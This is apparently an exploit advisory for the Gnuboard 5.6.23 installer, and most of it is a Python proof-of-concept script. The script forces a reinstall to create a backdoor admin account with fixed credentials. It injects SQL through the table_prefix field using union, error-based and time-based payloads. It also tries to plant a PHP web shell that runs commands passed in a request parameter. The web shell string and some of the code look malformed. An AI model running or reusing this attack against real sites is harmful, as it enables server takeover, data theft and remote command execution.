============================================================================================================================================= | # Title : Gnuboard v5.6.23 Installation Exploit | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://github.com/gnuboard/gnuboard5/releases/tag/v5.6.23 | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/190427/ & CVE-2020-18662 [+] Summary : Gnuboard 5 installation process contains critical security vulnerabilities that allow attackers to execute SQL injection, create unauthorized admin accounts, write arbitrary files, and potentially achieve remote code execution. These flaws exist in the /install/install_db.php script and can be exploited during or after installation. [+] POC : python poc.py #!/usr/bin/env python3 import requests import re import sys import base64 import urllib.parse class GnuboardExploit: def __init__(self, target_url): self.target = target_url.rstrip('/') self.session = requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' }) def exploit(self): print(f"[*] Targeting: {self.target}") # 1. Test if installation page exists if not self.check_install_page(): print("[-] Installation page not found") return False # 2. Create backdoor admin user print("[*] Creating backdoor admin...") self.create_backdoor_admin() # 3. Try to extract database credentials print("[*] Attempting to extract database info...") db_info = self.extract_database_info() # 4. Write web shell print("[*] Writing web shell...") self.write_webshell() # 5. Test SQL injection print("[*] Testing SQL injection...") self.test_sql_injection() return True def check_install_page(self): """Check if installation page is accessible""" try: r = self.session.get(f"{self.target}/install/install_config.php", timeout=10) return r.status_code == 200 except: try: r = self.session.get(f"{self.target}/install/", timeout=10) return r.status_code == 200 except: return False def create_backdoor_admin(self): """Create admin user via installation process""" payload = { 'mysql_host': 'localhost', 'mysql_user': 'root', 'mysql_pass': 'password', # Try common passwords 'mysql_db': 'gnuboard5', 'table_prefix': 'g5_', 'admin_id': 'hacker_admin', 'admin_pass': 'Hacker123!', 'admin_name': 'Hacker Admin', 'admin_email': 'hacker@example.com', 'g5_install': '1', # Force reinstall 'g5_shop_prefix': 'shop_', 'g5_shop_install': '1' } try: print(f"[*] Sending payload to: {self.target}/install/install_db.php") r = self.session.post(f"{self.target}/install/install_db.php", data=payload, timeout=30, allow_redirects=False) print(f"[*] Response status: {r.status_code}") print(f"[*] Response length: {len(r.text)}") # Check for success indicators success_indicators = [ '설치가 완료', '설치 완료', 'complete', 'success', '완료되었습니다' ] for indicator in success_indicators: if indicator in r.text: print(f"[+] Admin creation successful!") print(f"[+] Credentials: hacker_admin / Hacker123!") print(f"[+] Email: hacker@example.com") return True # Check for error messages error_indicators = [ 'MySQL.*확인해 주십시오', 'Access denied', '잘못된', 'error', 'failed' ] for error in error_indicators: if re.search(error, r.text, re.IGNORECASE): print(f"[-] Error: {error}") break except Exception as e: print(f"[-] Request failed: {e}") return False def extract_database_info(self): """Attempt to extract database information via SQL injection""" # Simple SQL injection test injections = [ "' OR '1'='1'--", "' UNION SELECT version(),2,3,4,5--", "' UNION SELECT user(),database(),3,4,5--", "g5_' AND 1=0 UNION SELECT CONCAT_WS(':',user(),database(),version()),2,3,4,5--" ] for inj in injections: try: payload = { 'mysql_host': 'localhost', 'mysql_user': 'root', 'mysql_pass': 'test', 'mysql_db': 'test', 'table_prefix': inj, 'admin_id': 'test', 'admin_pass': 'test', 'admin_email': 'test@test.com', 'g5_install': '0' } r = self.session.post(f"{self.target}/install/install_db.php", data=payload, timeout=15) # Look for database info in response patterns = [ r'([0-9]+\.[0-9]+\.[0-9]+)', # Version r'root@', # MySQL user r'gnuboard', # Database name r'([a-zA-Z0-9_]+@[a-zA-Z0-9_\-\.]+:[a-zA-Z0-9_]+)' # user:db ] for pattern in patterns: matches = re.findall(pattern, r.text) if matches: print(f"[+] Found: {matches[0]}") return matches[0] except: continue return None def write_webshell(self): """Attempt to write a web shell""" webshell = '''"; system($_REQUEST['cmd']); echo ""; die(); } ?> ''' # Try different paths paths_to_try = [ f"{self.target}/shell.php", f"{self.target}/data/shell.php", f"{self.target}/images/shell.php", f"{self.target}/theme/basic/shell.php" ] for path in paths_to_try: try: # First try direct file upload if possible test_payload = { 'mysql_host': 'localhost', 'mysql_user': 'root', 'mysql_pass': '', 'mysql_db': 'test', 'table_prefix': f"g5_'; SELECT '{webshell}' INTO OUTFILE '{path}'--", 'admin_id': 'test', 'admin_pass': 'test', 'admin_email': 'test@test.com', 'g5_install': '0' } r = self.session.post(f"{self.target}/install/install_db.php", data=test_payload, timeout=15) # Check if shell exists check = self.session.get(path, timeout=10) if check.status_code == 200: print(f"[+] Web shell found at: {path}") print(f"[+] Usage: {path}?cmd=whoami") return True except: continue print("[-] Could not write web shell") return False def test_sql_injection(self): """Test for SQL injection vulnerabilities""" test_payloads = [ ("Basic test", "' OR '1'='1"), ("Union test", "' UNION SELECT 1,2,3,4,5--"), ("Error based", "' AND extractvalue(1,concat(0x7e,version()))--"), ("Time based", "' AND sleep(5)--") ] for name, payload in test_payloads: try: start_time = time.time() data = { 'mysql_host': 'localhost', 'mysql_user': 'root', 'mysql_pass': '', 'mysql_db': 'test', 'table_prefix': payload, 'admin_id': 'test', 'admin_pass': 'test', 'admin_email': 'test@test.com', 'g5_install': '0' } r = self.session.post(f"{self.target}/install/install_db.php", data=data, timeout=30) elapsed = time.time() - start_time if "MySQL" in r.text or "SQL" in r.text or "syntax" in r.text.lower(): print(f"[+] Possible SQL injection: {name}") elif elapsed > 5 and "sleep" in payload: print(f"[+] Time-based SQL injection possible") except requests.exceptions.Timeout: if "sleep" in payload: print(f"[+] Time-based SQL injection confirmed") except: pass def main(): if len(sys.argv) != 2: print("Usage: python poc.py http://target.com") print("Example: python poc.py http://localhost/gnuboard5") sys.exit(1) target = sys.argv[1] print(""" ██╗███╗ ██╗██████╗ ██████╗ ██╗ ██╗███████╗██╗ ██╗██╗ ██╗ █████╗ ██║████╗ ██║██╔══██╗██╔═══██╗██║ ██║██╔════╝██║ ██║██║ ██╔╝██╔══██╗ ██║██╔██╗ ██║██ █╔╝██║ ██║██║ ██║███████╗███████║█████╔╝ ███████║ ██║██║╚██╗██║██╔══██╗██║ ██║██║ ██║╚════██║██╔══██║██╔═██╗ ██╔══██║ ██║██║ ╚████║██████╔╝╚██████╔╝╚██████╔╝███████║██║ ██║██║ ██╗██║ ██║ ╚═╝╚═╝ ╚═══╝╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ Gnuboard 5 Installation Exploit """) print(f"[*] Target: {target}") print("-" * 60) exploit = GnuboardExploit(target) try: if exploit.exploit(): print("\n" + "=" * 60) print("[+] EXPLOITATION SUMMARY:") print("[+] 1. Admin account created: hacker_admin / Hacker123!") print("[+] 2. Check for web shell at /shell.php or /data/shell.php") print("[+] 3. SQL injection via table_prefix parameter") print("[+] 4. Try default admin panel: /admin") print("=" * 60) else: print("\n[-] Exploitation failed or target not vulnerable") except KeyboardInterrupt: print("\n[-] Exploit interrupted by user") except Exception as e: print(f"\n[-] Error: {e}") if __name__ == "__main__": import time # Add this import main() Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================